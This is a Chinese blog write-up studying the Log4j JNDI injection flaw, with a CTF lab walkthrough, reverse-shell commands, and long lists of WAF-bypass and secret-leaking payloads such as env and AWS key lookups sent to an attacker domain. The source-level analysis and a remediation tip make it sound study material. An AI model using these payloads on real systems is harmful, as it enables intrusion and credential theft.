JAVA安全--log4j漏洞研究分析

前言:这个漏洞很火,但是自己一直没咋研究过 算是抽空跟了下,总结了很多师傅的文章 写这篇文章进行记录下自己的学习过程吧

log4j漏洞复现

本地复现

这个很多人写了 可直接参考这个
https://cloud.tencent.com/developer/article/1917856

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://服务器的地址/TomcatBypass/Command/Base64/Y2FsYw==}");
    }
}

这篇文章里面还缺了一点东西
就是idea生成jar文件的方法
这里一起写出来
①打开模块设置
在这里插入图片描述
②选模块
在这里插入图片描述

③选好主类以及生成的文件在哪些地方
在这里插入图片描述
④选择包含在项目构建中然后点击应用
在这里插入图片描述
编译生成即可
在这里插入图片描述
但是对于这个我是失败了的 不知道啥原因在这里插入图片描述

本地编写jar方法

①把java编写为class文件
javac  Exploit.java
②把class编写为jar文件
java -jar Exploit.jar Exploit.class

在线靶场复现

这里以bugku上的靶场为例进行复现
https://ctf.bugku.com/challenges/detail/id/340.html
在这里插入图片描述
环境配置
①ldap服务
在这里插入图片描述

服务器起一个ldap服务就好了
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 服务器的地址
在这里插入图片描述
直接执行反弹shell
即直接配置bash反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMjI2LjY3Lzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}" -A "192.168.72.1"

②nc配置(windows的话)
起到获取flag的思路
https://eternallybored.org/misc/netcat/
下载好后进行监听即可
nc -lvnp 端口
在这里插入图片描述

思路1
不反弹shell进行获取flag

user=${jndi:ldap://服务器的ip:1389/TomcatBypass/TomcatEcho}&pwd=69be4a983341add38e2ad1e5c804568a

在这里插入图片描述
在这里插入图片描述
思路2
进行反弹shell获取

常见反弹shell的思路
①nc ip 12345 -e /bin/sh

②bash -i >& /dev/tcp/启动nc服务器的ip/9999 0>&1
#然后先base64编码然后对编码后的特殊字符进行2层url转码



这台要用第一个命令,题目限定了
payload=${jndi:ldap:1/服务器ip:1389/basic/Command/Base64/二层转码之后的字符}

反弹shell后执行即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

知识点分析

受影响版本
Apache log4j 2.0-beta9 ≤ 2.14.1
组件
org.apache.logging.log4j,且版本号小于2.15.0-rc2

ldap基础知识以及服务原因

payload总结

参考知识点:来源团队的雪晴师傅的
https://www.yuque.com/yq1ng/java/pbica2#xrVeI
基础payload
${jndi:ldap://t00ls.com/poc
绕过的一些payload

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

信息泄露(主要是针对不出网的)

${jndi:ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:ldap://${ctx:loginId}.domain.com/j}
${jndi:ldap://${map:type}.domain.com/j}
${jndi:ldap://${filename}.domain.com/j}
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${event:Marker}.domain.com/j}
${jndi:ldap://${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${jndi:logging/context-name}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://${log4j:configLocation}.domain.com/j}
${jndi:ldap://${log4j:configParentLocation}.domain.com/j}
${jndi:ldap://${spring:spring.application.name}.domain.com/j}
${jndi:ldap://${main:myString}.domain.com/j}
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${name}.domain.com/j}
${jndi:ldap://${marker}.domain.com/j}
${jndi:ldap://${marker:name}.domain.com/j}
${jndi:ldap://${spring:profiles.active[0].domain.com/j}
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}

可检查的标头

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token

除ldap以外的其他构造方式

jndi:ldap:/
jndi:rmi:/
jndi:ldaps:/
jndi:dns:/
jndi:nis:/
jndi:nds:/
jndi:corba:/
jndi:iiop:/
jndi:${

可获取查找的信息

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

一张脑图(有一说一不是很懂这个)
在这里插入图片描述

批量验证工具

log4j批量检测工具
这个是主动检测的
但是自己测了下,发觉测不出东西
但是主动检测的太少了 还是把这个工具扔在这里
在这里插入图片描述

原理研究

基础知识点

JNDI
全名:Java命名和目录接口,自己理解就是定义一个名称去绑定对象或者资源进而进行操控
作用:将名称与java对象或资源关联起来,进行通过名称调用到对应的对象或者资源
可操控的目录与服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、WindowsXP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

运用方法:
如JNDI数据源配置(使用的原因 只配置一次①加载数据库驱动程序、②连接数据库、④关闭数据库,释放连接,减少性能消耗)
这个师傅讲的比较好了 这里就不讲了

参考链接

在这里插入图片描述

LDAP(轻量目录访问协议)
LDAP目录服务:由目录数据库和一套访问协议组成的系统。
作用:即存储描述属性的数据和详细信息的数据库。
四种模型:

信息模型
命名模型
功能模型
安全模型

连接LDAP数据库方法:

$ldapconn = ldap_connect(“10.1.8.78")
$ldapbind = ldap_bind($ldapconn, 'username', $ldappass);
$searchRows= ldap_search($ldapconn, $basedn, "(cn=*)");
$searchResult = ldap_get_entries($ldapconn, $searchRows);
ldap_close($ldapconn);

lookup:允许在写日志的时候,通过关键词去查找对象,输出对象,并实现对象功能。这个对象可以存储在硬盘中或者服务器上。

这个漏洞调用的就是这个接口

Codebase
概念:一种服务
作用:存储代码或者编译文件作用,可通过名称进行编译文件或者获取代码。

RMI协议:
概念:远程方法调用协议,通过网络从远程计算机上请求调用某种服务。(只适合java)

原理:

1.客户调用客户端辅助对象stub上的方法
2.客户端辅助对象stub打包调用信息(变量,方法名),通过网络发送给服务端辅助对象skeleton
3.服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
4.调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton
5.服务端辅助对象将结果打包,发送给客户端辅助对象stub
6.客户端辅助对象将返回值解包,返回给调用者
7.客户获得返回值

在这里插入图片描述

漏洞原理知识点:

加载原理:通过rmi进行从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类,进而造成RCE漏洞
在这里插入图片描述
在这里插入图片描述
详细跟进分析
完整的调用链

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4jRCE

这里要重点关注的几个点,其余的点几乎都是调用方法或者是进行过滤操作获取数字等

①这里进行判断了日志等级 如果是小于配置文件的即不能进入 this.logMessage()进行触发漏洞
日志等级 默认只要大于error()和fatal()可以触发漏洞就可以触发漏洞了 具体看配置情况

日志一共分为8个级别,由低到高依次为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
1.All:最低等级的,用于打开所有日志记录。
2.Trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低日志级别不让他输出。
3.Debug:指出细粒度信息事件对调试应用程序是非常有帮助的。
4.Info:消息在粗粒度级别上突出强调应用程序的运行过程。
5.Warn:输出警告及warn以下级别的日志。
6.Error:输出错误信息日志。
7.Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志。
8.OFF:最高等级的,用于关闭所有日志记录。

在这里插入图片描述

配置的最低等级的文件数值在org/apache/logging/log4j/spi/StandardLevel.java中

②log:460, LoggerConfig (org.apache.logging.log4j.core.config)这个地方
上面的东西查了下感觉就是线程相关所以可以不看 核心还是log的方法
在这里插入图片描述

③MessagePatternConverter方法
在这里插入图片描述
④跟replace方法
调用substitute方法
在这里插入图片描述
先调用一个substitute的方法

然后调用另外一个substitute的重载函数进行处理数据
⑤研究substitute方法
初始化定义的一些变量名
在这里插入图片描述

采用while循环逐个去寻找前缀这里的前缀定义即是$和{字符
进行前缀匹配
在这里插入图片描述

寻找后缀唯一区别就是可以理解为一个从前查找一个从后查找
在这里插入图片描述

然后进行匹配 :- 和 :
对于这种字符的处理 看一个师傅的说法是
:-
赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb
:-
是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
这也是绕waf的的一些原因

因此结合这些递归解析以及特性我们可以进行绕waf
构造出一些类似于如此的一些payload去绕

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}

在这里插入图片描述

在这里插入图片描述
然后在匹配完后调用resolveVariable解析满足 Lookup 功能的语法 也就是这里调用的lookup去产生漏洞的

如支持的协议 即按照协议的语法去进行解析
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
这里的作用是
进行执行完lookup,然后将结果替换回原字符串后,再次调用 substitute 方法进行递归解析

⑥跟lookup方法:产生漏洞的核心原因
在这里插入图片描述
在这里插入图片描述
然后接着跟
发觉核心就两部分
①判断前缀部分
②调用执行部分即调用jndiManager.lookup解析请求,最终形成注入漏洞.
在这里插入图片描述

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
根据引用\[1\]和\[2\],修复Log4j安全漏洞的推荐方案是通过删除漏洞类进行修复。具体的操作是使用以下命令删除log4j-core jar包中存在漏洞的类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。这种修复方案比较稳定且被官方推荐使用。同时,根据引用\[2\],需要检测Java应用是否引入了log4j-api和log4j-core两个jar包,如果存在应用使用这两个jar包,极大可能会受到影响。 此外,根据引用\[3\],该漏洞的CVE编号为CVE-2021-44228,它是由log4j-core代码中的JNDI注入漏洞导致的。这个漏洞可能直接导致服务器被入侵,并且由于日志场景的特性,攻击数据可以多层传导,甚至威胁到纯内网的服务器。考虑到log4j作为Java开发的基础公共日志类,使用范围非常广,该漏洞的影响范围可能非常深远,类似于过去的commons-collections反序列化漏洞。 因此,为了修复Log4j安全漏洞,推荐使用删除漏洞类的方案,并且需要及时检测和更新Java应用中使用的log4j-api和log4j-core两个jar包,以确保应用的安全性。 #### 引用[.reference_title] - *1* *3* [Log4j 严重漏洞修最新修复方案参考](https://blog.csdn.net/Javaesandyou/article/details/122071474)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Log4j2漏洞修复](https://blog.csdn.net/derstsea/article/details/121918902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值